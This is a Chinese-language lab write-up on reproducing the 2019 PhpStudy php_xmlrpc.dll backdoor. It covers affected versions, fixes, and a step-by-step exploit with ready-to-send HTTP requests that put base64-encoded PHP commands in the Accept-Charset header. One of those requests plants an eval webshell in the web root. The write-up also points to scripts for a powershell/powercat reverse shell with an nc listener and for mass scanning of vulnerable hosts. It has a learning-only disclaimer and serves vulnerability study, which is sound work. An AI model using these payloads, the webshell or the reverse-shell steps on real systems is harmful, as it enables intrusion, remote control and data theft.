声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
基础介绍
事件背景
北京时间9月20日,杭州公安发布《杭州警方通报打击涉网违法犯罪暨‘净网2019’专项行动战果》一文,文章曝光了国内知名PHP调试环境程序集成包“PhpStudy软件”遭到黑客篡改并植入“后门”。截至案发,近百万PHP用户中超过67万用户已被黑客控制,并大肆盗取账号密码、聊天记录、设备码类等敏感数据多达10万多组,非法牟利600多万元。
- **漏洞:**程序包自带的PHP的
php_xmlrpc.dll
模块中有隐藏后门。 - php.ini中必须要引用该模块,这样才能去复现该漏洞,若开启了xmlrpc功能,php就会加载这个php_xmlrpc.dll动态链接库文件,其中的恶意代码就会被触发。
xml rpc是使用http协议做为传输协议的rpc机制(远程过程调用),使用xml文本的方式传输命令和数据。
查看是否引用该模块:
方法1:通过php.ini配置文件查看,位置D:\phpStudy\PHPTutorial\php\php-5.4.45\ext
方法2:通过phpinfo查看
- 影响版本:phpstudy 2016(php5.4/5.2) phpstudy 2018(php5.4/5.2)
phpStudy20180211版本php5.4.45与php5.2.17ext扩展文件夹下的php_xmlrpc.dll
phpStudy20161103版本php5.4.45与php5.2.17ext扩展文件夹下的php_xmlrpc.dll
不管是第三方下载的还是官网下载的phpstudy均存在后门,存在于php5.4.45和php5.2.17,当切换到其他版本漏洞是不存在的。
有问题的文件:
Phpstudy\PHPTutorial\php\php-5.2.17\ext\php_xmlrpc.dll
Phpstudy\PHPTutorial\php\php-5.4.45\ext\php_xmlrpc.dll
Phpstudy\PHPTutorial\php\php-5.4.45-nts\ext\php_xmlrpc.dll
漏洞复现
攻击者:Windows 10系统
靶机:Windows 7虚拟机
1.是两台机器之间能够相互ping通;
2.在靶机中下载带有后门的PhpStudy 2018软件,打开PhpStudy软件,在D:\phpStudy\PHPTutorial\php\php-5.4.45\ext目录中使用记事本打开php_xmlrpc.dll,搜索eval关键词,查看植入的后门
3.打开PhpStudy 2018,切换到有后门的版本,并启动Apache和MySQL服务,攻击者在浏览器中访问靶机的IP,查看是否能启动WEB服务器
4.开启代理服务器,使用burpsuite拦截浏览器的请求包,将拦截下来的数据发送到到Repeater模块(重发),使用Ctrl+R或者点击Action --> Send to Repater
5.修改请求包,将Accept-Encding(浏览器可解析的编码方式): gzip,deflate逗号后面的空格删除,然后在deflate后面增加一个空格(没有Accept-Encding就自己加上)
复现漏洞的过程中,会遇到一个问题,请求包放到repeater时,会加入很多的空格。
Accept-Encoding: gzip, deflate
在Accept-Encoding中,deflate的前面都有一个空格,这个空格导致重访无法成功,去掉空格即可。
6.再添加一项:Accept-Charset(规定服务器处理表单数据所接受的字符集):,Accept-Charset后面跟要执行的命令(恶意代码需要经过Base64转码),即恶意代码,最后提交该请求包,查看响应包
实例——system(’<恶意命令>’);(别忘了最后的分号)
这个漏洞相当于是个eval()函数的代码执行,所以如果要执行os系统命令的话还要用system(’<恶意命令>’);
先base64编码,在BP工具中,打开Decoder(解码和编码)模块:
下图可以看到,在响应包中我们可以看到我们想要的信息,复现成功
写一句话木马菜刀链接:
执行恶意命令system('echo ^<?php @eval($_POST["shell"])?^>>PHPTutorial\WWW\shell.php');
将木马写入PHPTutorial\WWW\shell.php中
GET /index.php HTTP/1.1
Host: 192.168.0.108
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language:zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding:gzip,deflate
Connection: close
accept-charset:c3lzdGVtKCdlY2hvIF48P3BocCBAZXZhbCgkX1BPU1RbInNoZWxsIl0pP14+PlBIUFR1dG9yaWFsXFdXV1xzaGVsbC5waHAnKTs=
Upgrade-Insecure-Requests: 1
可能遇到的问题
若无法成功连接,可能生成目录不对,执行命令tree /f查看文件树,找到可访问路径生成shell
GET /phpinfo.php HTTP/1.1
Host: 192.168.0.108
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36 Edg/77.0.235.27
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Sec-Fetch-Site: none,
accept-charset: c3lzdGVtKCd0cmVlIC9mJyk7
Accept-Encoding: gzip,deflate
Accept-Language: zh-CN,zh;q=0.9
修复方法
1.在官网中下载最新的PhpStudy
2.将PhpStudy中php5.4和php5.2里面的php_xmlrpc.dll替换为官方的文件
3.使用phpstudy安全自检修复程序2.0
Exploit利用脚本
1.在GitHub中下载PHPStudy_BackDoor_Exp,链接为:https://github.com/NS-Sp4ce/PHPStudy_BackDoor_Exp
环境为Python3,依赖request模块
2.把下载好的PHPStudy_BackDoor_Exp文件夹拷贝到靶机中(这里图个方便直接拷到靶机上了,也就是本地打本地),并在含有PHPStudy_BackDoor_Exp的文件夹中开启dos命令窗口
python phpstudy_backdoor.py 运行脚本
开启脚本成功
3.根据提示,输入目标主机(即出现漏洞的PhpStudy中web服务器地址),以及要执行的命令
- 需要开启PhpStudy中的Apache和MySQL服务
- 根据上图的提示所示,如果要执行os命令,命令必须是php函数,即使用system(’’);格式
参考:https://www.cnblogs.com/yankaohaitaiwei/p/11604762.html
反弹shell脚本
https://github.com/rabbitmask/PHPStudy_BackDoor
就目前版本来讲,phpstudy是部署在Windows平台(确实存在linux版本,发布不久测试阶段)居多,主流Windows平台均已支持powershell(win7/server2008以上),我们反弹shell的探究借助powershell实现。
phpstudy_backdoor_shell.py
脚本一键反弹shell,自动bypass,关于原理,借助了powercat、powershell等,
所以请在powershell中执行`set-executionpolicy remotesigned`允许脚本执行。
Usage: python3 phpstudy_backdoor_shell.py [url]
#请先在脚本中配置监听地址与端口
listen_host='192.168.1.254'
listen_port='6666'
运行demo:
python phpstudy_backdoor_shell.py 127.0.0.1
nc -lvvp [port]
批量扫描存在PHPStudy_BackDoor的URL
phpstudy_backdoor_poc.py
https://github.com/rabbitmask/PHPStudy_BackDoor
多进程批量检测脚本,自动读取urls.txt中内容,然后进行批量检测
检测结果如发现漏洞会存入phpstudy_backdoor_urls.txt中
运行demo:
python phpstudy_backdoor_poc.py
[+] http://127.0.0.1 is vulnerable.
[-] http://192.168.1.1 is invulnerable.
[*] http://192.168.1.2 Looks Like Something Wrong.
[*] http://192.168.1.3 Looks Like Something Wrong.